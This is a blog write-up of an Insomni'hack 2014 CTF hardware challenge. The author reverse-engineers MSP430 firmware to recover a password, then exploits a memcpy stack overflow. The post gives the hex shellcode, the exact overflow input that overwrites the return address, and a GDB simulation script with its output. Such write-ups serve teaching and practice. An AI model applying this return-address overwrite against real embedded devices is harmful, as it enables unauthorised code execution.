Monday, March 24, 2014

Insomni'hack CTF 2014 - Life is even harder (Hardware, 400 points + 600 point bonus)

Continuing the trend of Hardware-related tasks on recent CTFs (<3 you, RuCTF!), the Insomni'hack 2014 organizers prepared a very nice microcontroller keygenme/pwn task named “Life is even harder”. Since I (q3k) really enjoy challenges on weird and obscure platforms, this was the perfect thing for me to take a look at.

The Challenge

Since the competition was on-site in Geneva (well, near Geneva - at the Palexpo centre), this allowed for the opportunity to have a real-life device to mess around with. Here is what was sitting at the NOC/conference organizer table:
MSP430 Devboard
MSP430 + Display
Wiring of MSP430, Bus Pirate & Display
The devboard is obviously a Texas Instruments MSP430 launchpad. Attached to it is a Bus Pirate used as a serial interface, and a round device of no obvious use... What could it be..?
Nicolas, the author of this challenge, explained that it is a simple display controlled by a servo. If you rotate the motor, the flag will be revealed underneath the red cover! To rotate the motor, you need to input a password via UART/Serial. Alright then, let's get cracking - this is going to be fun.

The first flag

We were also given the firmware that is uploaded onto the launchpad. As stated earlier, this is an MSP430 device. While I was semi-familiar with the architecture, I never actually had to read assembly for it before. Fortunately enough, the firmware was very small and simple. There was only a handful of functions, and they all had non-stripped symbols. Among them, a few were of interest:
  • main - seems to set up peripherals by writing into some magic memory-mapped registers
  • __isr_7 - the Interrupt Service Routing that gets fired when the device receives a character on the serial connection
  • checkpwd - seems to check the password (well, obviously)
  • moveDisplay - looking at cross-references, when called with a zero, moves the display mask into the default position. When called with a 1, reveals our flag.
Let's take a lok at the UART ISR. If you want to play along at home, read up a bit about MSP430 assembly (it's very simple and elegant) and reverse-engineer the routine yourself. Otherwise, let me present you with a pseudocode equivalent:

UART ISR, in pseudocode
Nothing too terribly interesting to see here - we just know that the password is newline-ended. Let's then take a look at the checkpwd function...

The function, after first memcpy()ing the password into the stack into 0xFFF4(SP) - 0xFFFn(SP) proceeds to do some mangling on the first 5 characters:

Password mangling function
I can identify the following things happening:
  • The 4th byte of the password is first incremented by 0x9C, then by 0xFF
  • The 1st byte of the password is XORed with 0x33
  • The 2nd byte of the password is XORed with 0x6E
  • The 3rd byte of the password is subtracted from the 5th byte of the password
  • The 5th byte of the password (after the 3rd is subtracted from it) is incremented by two (incd - increment double, a.k.a. +=2)
  • The 3rd byte of the password is XORed with 0x54
  • Some stack values get cleared.
Hm. Let's see what happens after that:

Password sum function
0xFFF0(SP) is used as a counter - loc_C17A is supposed to be ran 5 times. After a few more minutes of staring at that code, we can easily see that we are simply summing the first five bytes of the password into an accumulator at 0xFFF2(SP), which is then returned into the UART ISR. If you recall, checkpwd returns zero on success - so the first five bytes of our password after mangling should sum to zero, therefore they should all be zero.

Part of the mangling consists of XORing the bytes of the password with some magic values. In order to make the resulting bytes zero, we can just set the bytes of that password to their corresponsing magic values. This is what we get:
  • 1st byte: 0x33 ('3')
  • 2nd byte: 0x6E ('n')
  • 3rd byte: 0x54 ('T')
  • 4th byte: ?
  • 5th byte: ?
Recall that the 4th byte is first incremented by a magic value (0x9C), then 0xFF (-0x01) is added to it - and that should result in a zero. So, (BYTE + 0x9C) should be equal to 0x0101 (so that it wraps to 0x00 after adding 0xFF). Therefore, the 4th byte should be 0x65 ('e'). Well then, now we know that the password starts with '3nTe', with one last letter to figure out.

Looking back at our analysis, we now know that (0x54- BYTE) + 2 should be equal to zero - so BYTE should be equal to 0x52 ('R').

And thus, we have recovered the correct password - 3nTeR! After testing it on the real device, we got the display to move 90 degrees counter-clockwise and reveal our flag:

w00t \o/

The second flag

After solving this, we got told by Nicolas that there is still one flag to be found in this challenge - and to get it, we should make the display move around in the other direction. How can we make that happen..? Of course, the memcpy() call in checkpwd! Instead of copying only the 5 required bytes of data into the stack, it copies as many bytes as it received over the wire.

So, we have a classic stack-smashing scenario - we need to overwrite the return pointer of checkpwd() to point into our UART receive buffer (0x202), which should be filled with “shellcode” that would make the display turn the other way around. Let's first write that shellcode - how to make that display move clockwise..?

Thankfully, the moveDisplay function can be called with a different parameter - 2 - to make the servo rotate the other way around - precisely what we need!

moveDisplay and its' three possible parameters
Okay, so to make the display reveal the bonus flag we'll need to craft the following “shellcode”:

    2F43     mov #2, R15
    B012A4C1 call moveDisplay
    FF3F     loop: jmp loop

Alright, this 8-byte program will be perfect for our needs. Now, to make it run... For this part I grabbed a tool called mspdebug, which includes a built-in simulator and exposes a gdb stub to attach to. I could then run the program and simulate some inputted characters by setting a breakpoint at the end of the ISR and on the instruction where it receives the byte from the UART, and run the ISR manually by setting $PC to its' start address and making the processor run. Then, when it hit the character-reading breakpoint, I skipped this instruction and set the character manually to my liking, continuing once more and then finally hitting the breakpoint before the reti instruction of the ISR. Crude, but it allowed me to test my exploit pretty well.

Here is a sample GDB command scirpt for getting to memcpy() after inputting an “abc” password:

# Connect to the debugger
target remote localhost:2000

# Break at the memcpy() call
b *0xc118

# Break at the entrypoint
b main
# Break at the mov 0x66, R14 instruction in the ISR
b *0xc1ee
# Break at the reti instruction in the ISR
b *0xc25a

# Continue, we'll hit the main() breakpoint

## Enter character 'a'
# Run the ISR
set $pc=__isr_7
# We are now at the mov 0x66... instruction
# Skip it and set our needed char
set $r14='a'
# Continue to the end of the ISR

# Enter character 'b'
set $pc=__isr_7
set $r14='b'

# Enter character 'c'
set $pc=__isr_7
set $r14='c'

# Enter newline
set $pc=__isr_7
set $r14=0x0a

# We are now before the memcpy() call

Let's try that:

Breakpoint 2, 0x0000c118 in checkpwd ()
(gdb) x/2i $pc
=> 0xc118 <checkpwd+56>: call #0xc25c ; memcpy
   0xc11c <checkpwd+60>: mov.b -9(r4), r15 ;0xfff7(r4)

So here we are, right before the memcpy. Let's explore the stack a little:

(gdb) bt
#0  0x0000c118 in checkpwd ()
#1  0x0000c212 in USCI0RX_ISR ()
#2  0x0000c212 in USCI0RX_ISR ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/16hx $sp
0x3e2: 0xffff 0xffff 0x0000 0x0000 0x0000 0x0202 0x0005 0x0400
0x3f2: 0xc212 0xffff 0x0400 0x0000 0x0000 0x0000 0x0000 0xffff

Our stack pointer is currently set to 0x03E2, and our return pointer (to 0xC212) is at 0x3F2. Our password should be copied into 0x03E6. Let's run the memcpy() call.

(gdb) ni
Breakpoint 2, 0x0000c118 in checkpwd ()
(gdb) x/16hx $sp
0x3e2: 0xffff 0xffff 0x6261 0x0063 0x0065 0x0202 0x0005 0x0400
0x3f2: 0xc212 0xffff 0x0400 0x0000 0x0000 0x0000 0x0000 0xffff

Excellent - the password got copied as it should. Now, we can provide 12 bytes of password without overwriting the return pointer, and after that two bytes will smash the address to whatever we want. So, this is what our exploit password will look like:
  • 8 bytes of payload (the program we wrote earlier)
  • 4 bytes of whatever to fill up the space
  • 2 bytes containing 0x0202 - which is the address of our payload before memcpy()ing. We could also put 0x03E6 here, as it's the address of the payload on the stack.
  • A newline to trigger checkpwd
So, it should be, in hex, 2F43B012A4C1FF3F DEADC0DE 0202 0A. Let's try running that in our emulator:

(gdb) x/2i $pc
=> 0xc118 <checkpwd+56>: call #0xc25c
   0xc11c <checkpwd+60>: mov.b -9(r4), r15 ;0xfff7(r4)
(gdb) bt
#0  0x0000c118 in checkpwd ()
#1  0x0000c212 in USCI0RX_ISR ()
#2  0x0000c212 in USCI0RX_ISR ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) x/16hx $sp
0x3e2: 0xffff 0xffff 0x0000 0x0000 0x0000 0x0202 0x000e 0x0400
0x3f2: 0xc212 0xffff 0x0400 0x0000 0x0000 0x0000 0x0000 0xffff

This is before the stack smash happening. The return pointer is still set to 0xC212. Let's run the memcpy().

(gdb) ni
Breakpoint 2, 0x0000c118 in checkpwd ()
(gdb) x/16hx $sp
0x3e2: 0xffff 0xffff 0x432f 0x12b0 0xc1a4 0x3fff 0xadde 0xdec0
0x3f2: 0x0202 0xffff 0x0400 0x0000 0x0000 0x0000 0x0000 0xffff

Pwned! We overwrote the return pointer. Let's break at our shellcode and continue the debugging sesison.

(gdb) b *0x202
Breakpoint 6 at 0x202
(gdb) c
Breakpoint 6, 0x00000202 in ?? ()
(gdb) x/3i $pc
=> 0x202: mov #2, r15 ;r3 As==10
   0x204: call #0xc1a4
   0x208: jmp $+0       ;abs 0x208

And here we are, we have code execution! After running that password in the real device, we got the the display to move the other way around revealing the bonus flag, and received a round of applause from all the people nearby. Whew! What a task.
w00t w00t g0t r00t \o/

1 comment:

  1. Any reason you chose not to use the serial port built into the launchpad?